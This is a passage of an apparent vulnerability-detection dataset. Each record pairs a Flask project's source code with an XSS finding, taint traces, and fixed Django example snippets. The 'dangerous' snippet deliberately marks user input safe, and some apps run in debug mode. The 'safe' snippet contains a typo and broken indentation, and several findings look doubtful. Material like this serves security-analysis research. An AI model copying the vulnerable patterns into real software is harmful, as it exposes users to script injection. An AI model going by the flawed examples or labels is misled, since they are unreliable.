render_template('sshkeys.html')\n\n@app.route('/addkey')\ndef addkey():\n return render_template('forms/add_key.html')\n\n@app.route('/accounts')\ndef account():\n return render_template('accounts.html')\n\n@app.route('/adduser')\ndef adduser():\n return render_template('forms/add_user.html')\n\nif __name__ == '__main__':\n app.run(debug=True)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 8, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 8, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 8, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 8, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 9, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "f7d31eabf961bb6ed8c1786242c6c5379e51e0dc7d35164163bf4fd7680c9470", "license": {"spdx": ["MIT"], "repo": "razage/TTracker3", "path": "app/tickets/views.py", "repo_head_hexsha": "6098c809b01b5fcb3dd3828228fbaa3d7a160360", "stack_hexsha": "02efa9d8cc6d56954c8d8a25a8a0f69bcb0f2034", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 71, "entireCode": "from calendar import monthrange\nfrom datetime import date\n\nfrom flask import abort, Blueprint, flash, Markup, redirect, render_template, request, session, url_for\nfrom sqlalchemy.orm.exc import NoResultFound\n\nfrom app import app, db\nfrom app.users.decorators import login_required\nfrom .forms import TicketSearchForm, TicketSubmitForm\nfrom .models import Os, Tickets\n\n\nmod = Blueprint('tickets', __name__, url_prefix=\"/tickets\")\n\n\n@mod.route('/')\n@login_required\ndef redirtindex():\n return redirect(url_for('tickets.ticketindex', page=1))\n\n\n@mod.route('//')\n@login_required\ndef ticketindex(page):\n totalpages = int(db.session.query(Tickets).count() / app.config['TICKETSPERPAGE'])\n if totalpages is 0:\n totalpages = 1\n tickets = db.session.query(Tickets).limit(app.config['TICKETSPERPAGE']).offset(\n app.config['TICKETSPERPAGE'] * (page - 1))\n return render_template(\"tickets/ticketlist.html\", title=\"Browse Tickets\", tickets=tickets, cpage=page,\n maxpage=totalpages)\n\n\n@mod.route('/view//')\n@login_required\ndef viewticket(tid):\n try:\n ticket = db.session.query(Tickets).filter(Tickets.tid == tid).one()\n except NoResultFound:\n abort(404)\n return render_template(\"tickets/viewticket.html\", title=\"Ticket #%s\" % tid, ticket=ticket, tid=tid)\n\n\n@mod.route('/submit/', methods=[\"GET\", \"POST\"])\n@login_required\ndef submitticket():\n form = TicketSubmitForm(request.form)\n form.os.choices = [(o.osname, o.osname) for o in db.session.query(Os).filter(Os.enabled).order_by(Os.osname).all()]\n if form.validate_on_submit():\n data = [form.received.data, (None if form.returned.data == '' else form.returned.data),\n (None if form.status.data is 0 else session['technician_name']), form.status.data, form.os.data,\n (None if form.cname.data == '' else form.cname.data),\n (None if form.cphone.data == '' else form.cphone.data),\n (None if form.cemail.data == '' else form.cemail.data),\n (None if form.problem.data == '' else form.problem.data),\n (None if form.workdone.data == '' else form.workdone.data)]\n for i in range(len(data)):\n if data[i] is '':\n data[i] = None\n if data[3] == 3 and data[1] is None:\n data[1] = date.today()\n db.session.add(Tickets(*data))\n db.session.commit()\n flash(\"Your ticket has been added to the database!\", app.config[\"ALERT_CATEGORIES\"]['SUCCESS'])\n return redirect(url_for('tickets.ticketindex', page=1))\n else:\n for field, errors in form.errors.items():\n for error in errors:\n flash(Markup(\"%s: %s\" % (getattr(form, field).label.text, error)),\n app.config[\"ALERT_CATEGORIES\"]['ERROR'])\n return render_template(\"tickets/submit.html\", form=form, title=\"Submit a Ticket\", page=\"tickets\")\n\n\n@mod.route('/edit//', methods=[\"GET\", \"POST\"])\n@login_required\ndef editticket(tid):\n form = TicketSubmitForm(request.form)\n form.os.choices = [(o.osname, o.osname) for o in db.session.query(Os).filter(Os.enabled).order_by(Os.osname).all()]\n try:\n ticket = db.session.query(Tickets).filter(Tickets.tid == tid).one()\n except NoResultFound:\n flash(\"The ticket requested does not exist.\", app.config[\"ALERT_CATEGORIES\"][\"ERROR\"])\n if session['technician_name'] != ticket.technician:\n if not session['admin']:\n flash(\"You do not have permission to edit this ticket.\", app.config[\"ALERT_CATEGORIES\"][\"ERROR\"])\n return redirect(url_for('home'))\n if form.validate_on_submit():\n ticket.recieved = form.received.data\n ticket.returned = (None if form.returned.data == '' else form.returned.data)\n ticket.status = form.status.data\n if session['admin']:\n ticket.technician = (None if form.status.data == 0 else ticket.technician)\n else:\n ticket.technician = (None if form.status.data == 0 else session['technician_name'])\n ticket.os = form.os.data\n ticket.cname = (None if form.cname.data == '' else form.cname.data)\n ticket.cphone = (None if form.cphone.data == '' else form.cphone.data)\n ticket.cemail = (None if form.cemail.data == '' else form.cemail.data)\n ticket.problem = (None if form.problem.data == '' else form.problem.data)\n ticket.workdone = (None if form.workdone.data == '' else form.workdone.data)\n db.session.commit()\n flash(Markup(\"Success! Ticket #%s has been edited.\" % tid), app.config[\"ALERT_CATEGORIES\"][\"SUCCESS\"])\n return redirect(url_for(\"tickets.viewticket\", tid=tid))\n else:\n for field, errors in form.errors.items():\n for error in errors:\n flash(Markup(\"%s: %s\" % (getattr(form, field).label.text, error)),\n app.config[\"ALERT_CATEGORIES\"]['ERROR'])\n form.os.data = ticket.os\n form.status.data = ticket.status\n form.problem.data = ticket.problem\n form.workdone.data = ticket.workdone\n return render_template(\"tickets/edit.html\", form=form, title=\"Edit Ticket #%s\" % tid, page=\"tickets\", ticket=ticket)\n\n\n@mod.route('///')\n@login_required\ndef semesterview(semester, year):\n semester = semester.lower()\n if semester not in app.config[\"SEMESTERS\"]:\n abort(404)\n else:\n tickets = db.session.query(Tickets).filter(\n Tickets.received >= date(year, app.config[\"SEMESTERS\"][semester][0], 1),\n Tickets.received <= date(year, app.config[\"SEMESTERS\"][semester][5],\n monthrange(year, app.config[\"SEMESTERS\"][semester][5])[1])).all()\n return render_template(\"tickets/semesterview.html\", title=\"Tickets from %s %s\" % (semester, year),\n tickets=tickets)\n\n\n@mod.route('/searchform/')\n@login_required\ndef searchform():\n form = TicketSearchForm(request.form)\n return render_template(\"tickets/search.html\", title=\"Ticket Search Form\", form=form)\n\n\n@mod.route('/search/')\n@login_required\ndef ticketsearch():\n cat = request.args.get('category')\n kw = request.args.get('keyword')\n if cat is None or kw is None:\n return redirect(url_for('tickets.ticketindex', page=1))\n else:\n if cat == \"status\":\n maps = {\"unclaimed\": 0, \"repairing\": 1, \"waiting\": 2, \"complete\": 3}\n try:\n r = db.session.query(Tickets).filter(Tickets.status == maps[kw.lower()]).all()\n except KeyError:\n flash(\"Invalid status!\", app.config['ALERT_CATEGORIES']['ERROR'])\n return redirect(url_for(\"tickets.searchform\"))\n elif cat == \"technician\":\n r = db.session.query(Tickets).filter(Tickets.technician.like(\"%\"+kw+\"%\")).all()\n elif cat == \"os\":\n r = db.session.query(Tickets).filter(Tickets.os.like(\"%\"+kw+\"%\")).all()\n elif cat == \"problem\":\n r = db.session.query(Tickets).filter(Tickets.problem.like(\"%\"+kw+\"%\")).all()\n elif cat == \"workdone\":\n r = db.session.query(Tickets).filter(Tickets.workdone.like(\"%\"+kw+\"%\")).all()\n else:\n flash(\"Invalid category!\", app.config['ALERT_CATEGORIES']['ERROR'])\n return redirect(url_for(\"tickets.searchform\"))\n return render_template(\"tickets/ticketlist.html\", title=\"Filtered Tickets\", tickets=r, cpage=1, maxpage=1)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 47, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 47, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 47, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "TicketSubmitForm"}}, {"lineNo": 47, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 71, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "aef4e09fe41135975fc812fc1623c16d743274cdceb03dcb398b2a46a7ccddae", "license": {"spdx": ["MIT"], "repo": "danielecook/upvote.pub", "path": "base/frontends/views.py", "repo_head_hexsha": "fdda3c0895427ddc76f4680d0d63f2d4bac59da0", "stack_hexsha": "7c1e9749d62da31f126224b5dcf3c15abd4025bd", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 167, "entireCode": "# -*- coding: utf-8 -*-\n\"\"\"\n\"\"\"\nimport os\nimport markdown2\nfrom flask import (Blueprint,\n request,\n render_template,\n flash, g,\n session,\n redirect,\n url_for,\n abort,\n Markup)\nfrom werkzeug import check_password_hash, generate_password_hash\nfrom logzero import logger\nfrom base import db, app\nfrom base import search as search_module # don't override function name\nfrom base.users.forms import RegisterForm, LoginForm\nfrom base.users.models import User\nfrom base.threads.models import Thread, Publication\nfrom base.subreddits.models import Subreddit\nfrom base.users.decorators import requires_login\nfrom base.utils.user_utils import get_school\nfrom base.subreddits.forms import subreddit_subs, sub_form\nfrom base.utils.email import send_email\nfrom base.utils.misc import random_string, validate_sort_type\n\nmod = Blueprint('frontends', __name__, url_prefix='')\n\n\n@mod.before_request\ndef before_request():\n g.user = None\n if session.get('user_id'):\n g.user = User.query.get(session['user_id'])\n\n\ndef home_subreddit():\n logger.info(g.user)\n if g.get('user'):\n subreddit_subs = g.user.subreddit_subs.get('subs')\n subs = Thread.query.order_by(db.desc(Thread.hotness), db.desc(Thread.hotness)) \\\n .filter(Subreddit.name.in_(subreddit_subs))\n else:\n subs = Thread.query.order_by(db.desc(Thread.hotness), db.desc(Thread.hotness))\n return subs\n\n\ndef get_subreddits():\n \"\"\"\n Fetch user subreddits otherwise fetch a list of defaults\n \"\"\"\n if g.get('user'):\n subreddit_subs = g.user.subreddit_subs.get('subs')\n subreddits = Subreddit.query.filter(Subreddit.name.in_(subreddit_subs))\n else:\n # Default set of subreddits\n subreddits = Subreddit.query.all()\n return subreddits\n\n\ndef process_thread_paginator(trending=False, rs=None, subreddit=None, sort_type='hot'):\n \"\"\"\n abstracted because many sources pull from a thread listing\n source (subreddit permalink, homepage, etc)\n \"\"\"\n threads_per_page = 15\n cur_page = request.args.get('page') or 1\n cur_page = int(cur_page)\n thread_paginator = None\n\n # if we are passing in a resultset, that means we are just looking to\n # quickly paginate some arbitrary data, no sorting\n if rs:\n thread_paginator = rs.paginate(cur_page,\n per_page=threads_per_page,\n error_out=True)\n return thread_paginator\n\n # sexy line of code :)\n base_query = subreddit.threads if subreddit else Thread.query\n\n # Filter by user subs\n logger.info(g.user)\n if g.user:\n subreddit_subs = g.user.subreddit_subs.get('subs')\n base_query = base_query.join(Subreddit).filter(Subreddit.name.in_(subreddit_subs))\n\n # Sorting\n if sort_type == 'hot':\n base_query = base_query.order_by(db.desc(Thread.hotness))\n elif sort_type == 'top':\n base_query = base_query.order_by(db.desc(Thread.votes))\n elif sort_type == 'comments':\n base_query = base_query.order_by(db.desc(Thread.n_comments))\n elif sort_type == 'new':\n base_query = base_query.order_by(db.desc(Thread.created_on))\n elif sort_type == 'publication_date':\n base_query = base_query.join(Publication).order_by(db.desc(Publication.pub_date))\n\n thread_paginator = base_query.paginate(cur_page, per_page=threads_per_page, error_out=True)\n\n return thread_paginator\n\n\n@mod.route('/')\ndef home(sort_type='hot'):\n \"\"\"\n If not trending we order by creation date\n \"\"\"\n atom_url = url_for('subreddits.atom_feed', subreddit_name='frontpage', _external=True)\n trending = True if request.path.endswith('trending') else False\n page_title = \"Trending\" if trending else \"Frontpage\"\n thread_paginator = process_thread_paginator(trending=trending)\n\n return render_template('home.html',\n atom_url=atom_url,\n page_title=page_title,\n cur_subreddit=home_subreddit(),\n thread_paginator=thread_paginator)\n\n\n@mod.route('/.atom')\n@mod.route('/.xml')\n@mod.route('/.rss')\ndef atom_redirect():\n return redirect(url_for(\"subreddits.atom_feed\", subreddit_name=\"frontpage\"))\n\n\n@mod.route('/h/')\ndef render_markdown(page):\n page_md = f\"base/markdown/{page}.md\"\n if not os.path.exists(page_md):\n abort(404)\n with open(page_md, 'r') as f:\n content = f.read()\n md = markdown2.markdown(content,\n extras = ['fenced-code-blocks',\n 'nofollow',\n 'target-blank-links',\n 'toc',\n 'tables',\n 'footnotes',\n 'metadata',\n 'markdown-in-html'])\n return render_template('markdown.html',\n page=md,\n **md.metadata)\n\n\n@mod.route('/search/', methods=['GET'])\ndef search():\n \"\"\"\n Allows users to search threads and comments\n \"\"\"\n query = request.args.get('query')\n page_title=f\"Search results for '{query}'\"\n rs = search_module.search(query, orderby='creation', search_title=True,\n search_text=True)\n\n thread_paginator = process_thread_paginator(rs=rs)\n #rs = rs.all()\n num_searches = rs.count()\n subreddits = get_subreddits()\n\n return render_template('home.html',\n page_title=page_title,\n cur_subreddit=home_subreddit(),\n thread_paginator=thread_paginator,\n num_searches=num_searches)\n\n\n@mod.route('/login/', methods=['GET', 'POST'])\ndef login():\n \"\"\"\n We had to do some extra work to route the user back to\n his or her original place before logging in\n \"\"\"\n if g.user:\n return redirect(url_for('frontends.home'))\n\n next = ''\n if request.method == 'GET':\n if 'next' in request.args:\n next = request.args['next']\n\n form = LoginForm(request.form)\n # make sure data is valid, but doesn't validate password is right\n if form.validate_on_submit():\n # continue where we left off if so\n user = User.query.filter_by(email=form.email.data).first()\n # we use werzeug to validate user's password\n if user and check_password_hash(user.password, form.password.data):\n # the session can't be modified as it's signed,\n # it's a safe place to store the user id\n session['user_id'] = user.id\n\n if 'next' in request.form and request.form['next']:\n return redirect(request.form['next'])\n return redirect(url_for('frontends.home'))\n\n flash('Wrong email or password', 'danger')\n return render_template(\"login.html\", form=form, next=next)\n\n\n@mod.route('/logout/', methods=['GET', 'POST'])\n@requires_login\ndef logout():\n session.pop('user_id', None)\n return redirect(url_for('frontends.home'))\n\n\n@mod.route('/confirm-email/')\ndef confirm_email(token):\n \"\"\"\n Confirm user email\n \"\"\"\n user = User.query.filter_by(email_token=token).first()\n if user.email_token == token:\n user.email_verified = True\n db.session.commit()\n flash(\"Thank you for confirming your email! You can now submit and comment.\", 'success')\n return redirect(url_for('frontends.home'))\n\n\n@mod.route('/register/', methods=['GET', 'POST'])\ndef register():\n \"\"\"\n Registration page\n \"\"\"\n if g.user:\n # If the user is logged in send them home\n return redirect(url_for('frontends.home'))\n\n next = ''\n if request.method == 'GET':\n if 'next' in request.args:\n next = request.args['next']\n\n form = RegisterForm(request.form)\n if form.validate_on_submit():\n # create an user instance not yet stored in the database\n user = User(username=form.username.data,\n email=form.email.data, \\\n password=generate_password_hash(form.password.data),\n university=get_school(form.email.data),\n email_token=random_string())\n # Insert the record in our database and commit it\n db.session.add(user)\n email_confirm_link = url_for('frontends.confirm_email', token = user.email_token)\n email_response = send_email(\"Confirm upvote.pub email\",\n \"\"\"Please visit the link below to confirm your email:\\n\\n{}{}\"\"\".format(request.url_root.strip(\"/\"), email_confirm_link),\n user.email)\n # Log the user in, as he now has an id\n db.session.commit()\n session['user_id'] = user.id\n flash('Thanks for signing up! Please confirm your email by following the link sent in the confirmation email.', 'success')\n if 'next' in request.form and request.form['next']:\n return redirect(request.form['next'])\n return redirect(url_for('frontends.home'))\n\n return render_template(\"register.html\", form=form, next=next)\n\n\n@mod.route('/subs/', methods=['GET', 'POST'])\ndef view_all():\n \"\"\"\n \"\"\"\n subreddit_list = Subreddit.query.all()\n form = None\n if g.user:\n if request.form:\n form = subreddit_subs(request.form)\n if form.validate_on_submit():\n form_subs = form.data.get('subs')\n form_subs = list(set([x['sub_name'] for x in form_subs if x['value']]))\n g.user.subreddit_subs = {'subs': form_subs}\n flash(\"Updated Subs\", 'success')\n db.session.commit()\n else:\n form = subreddit_subs()\n for subreddit in subreddit_list:\n sform = sub_form()\n sform.sub_name = subreddit.name\n sform.sub_group = subreddit.group\n if g.user:\n sform.value=subreddit.name in g.user.subreddit_subs['subs']\n form.subs.append_entry(sform)\n\n\n return render_template('subreddits/subs.html',\n cur_subreddit=None,\n page_title='subs',\n form=form,\n subreddit_list=subreddit_list)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 157, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 167, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "574dba37a38238887735447ba480bb27d362ef2acfb607ea7fe894d0037cda55", "license": {"spdx": ["MIT"], "repo": "ktzoulas/stateless-password-manager", "path": "project/evaluate/views.py", "repo_head_hexsha": "c2b8a5cad878758a924a5d8550e5b80b50d7a60b", "stack_hexsha": "7454293e13312ee705f2fc3945097505c0c97567", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 22, "entireCode": "\"\"\"\n Contains the views of the 'evaluate' blueprint.\n\"\"\"\n# pylint: disable=invalid-name\n\nfrom flask import Blueprint, render_template, request\nfrom project.evaluate.forms import EvaluateForm\nfrom project.evaluate.helpers import evaluate_pass\n\nevaluate_blueprint = Blueprint('evaluate', __name__, url_prefix='/evaluate')\n\n\n@evaluate_blueprint.route('/', methods=['GET', 'POST'])\ndef index():\n \"\"\" TODO: add function docstring\"\"\"\n power = None\n form = EvaluateForm(request.form)\n if form.validate_on_submit():\n if form.password.data is not None and form.password.data != '':\n power = evaluate_pass(form.password.data)\n\n return render_template('evaluate/index.html', form=form, power=power,\n breadcrumb=(('Home', 'main.index'), 'Evaluate'))\n\n return render_template('evaluate/index.html', form=form,\n breadcrumb=(('Home', 'main.index'), 'Evaluate'))", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 17, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 17, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 17, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "EvaluateForm"}}, {"lineNo": 17, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "EvaluateForm"}}, {"lineNo": 17, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 18, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "18"}}, {"lineNo": 22, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "a2499c171dd491ec59a3a43639e348f72fa6aa65c5f6738e1a407f0622ed8172", "license": {"spdx": ["MIT"], "repo": "maldonadojsm/Gutenberg", "path": "app/app.py", "repo_head_hexsha": "5357d50abb44e0480d8ac4de3eb6afaa4f9976d2", "stack_hexsha": "bc4e4033f5a6f6ab3c998b1afd597113b344b90c", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 43, "entireCode": "# !/usr/bin/env python\n# title :app.py\n# description :Flask App\n# author :\n# date :7/22/2020\n# version :0.0\n# usage :SEE README.md\n# notes :Enter Notes Here\n# python_version :3.7.7\n# conda_version :4.8.2\n# tf_version :1.14\n# =================================================================================================================\n\nfrom flask import Flask, render_template, url_for, request, redirect, config\nimport scripts\n\napp = Flask(__name__)\n\n\n@app.route('/')\n@app.route('/home') # Root page of a website\ndef home():\n \"\"\"\n :return: Render Home Page\n \"\"\"\n return render_template('home.html')\n\n\n@app.route('/classify_news', methods=['GET', 'POST'])\ndef submit_article():\n \"\"\"\n Processes inference for user's news article\n :return: Inference result\n \"\"\"\n if request.method == \"POST\":\n # Capture Article URL\n url = request.form.get('url_page')\n article = scripts.scrape_article(url)\n text = scripts.clean_text(article[3])\n\n prediction = scripts.perform_inference(text)\n\n return render_template('results.html', prediction=prediction[0][0], title=article[0], text=article[1],\n img=article[2])\n\n return render_template('classify_news.html', title='Upload')\n\n\nif __name__ == '__main__':\n app.run(debug=1) # Debug mode activated", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 35, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "36"}}, {"lineNo": 37, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 37, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 37, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "scripts.scrape_article"}}, {"lineNo": 39, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "articlesubmit_article.article[3]"}}, {"lineNo": 39, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "scripts.clean_text"}}, {"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "scripts.perform_inference"}}, {"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 43, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "predictionsubmit_article.prediction[0]"}}, {"lineNo": 43, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "predictionsubmit_article.prediction[0][0]"}}, {"lineNo": 43, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "3a52a97899dcc591bd7fab977b80d154832ab6d99c7ddde5a9b878c6e90beaa8", "license": {"spdx": ["BSD-3-Clause"], "repo": "kaiueo/atss4po", "path": "atss4po/auth/views.py", "repo_head_hexsha": "56248339bcb50779e386e25ac04202e2df8b5e10", "stack_hexsha": "566ec1bf1ae6e1b81925b4f94a8b70dae24c3bb5", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 43, "entireCode": "# -*- coding: utf-8 -*-\n\"\"\"Public section, including homepage and signup.\"\"\"\nfrom flask import Blueprint, flash, redirect, render_template, request, url_for, session, make_response\nfrom flask_login import login_required, login_user, logout_user, current_user\n\nfrom atss4po.extensions import login_manager\nfrom atss4po.auth.forms import LoginForm\nfrom atss4po.auth.forms import RegisterForm\nfrom atss4po.user.models import User\nfrom atss4po.utils import flash_errors\nfrom .utils import get_basic_auth_token\n\n\nblueprint = Blueprint('auth', __name__, url_prefix='/auth',static_folder='../static')\n\n\n@login_manager.user_loader\ndef load_user(user_id):\n \"\"\"Load user by ID.\"\"\"\n return User.get_by_id(int(user_id))\n\n\n\n@blueprint.route('/logout/')\n@login_required\ndef logout():\n 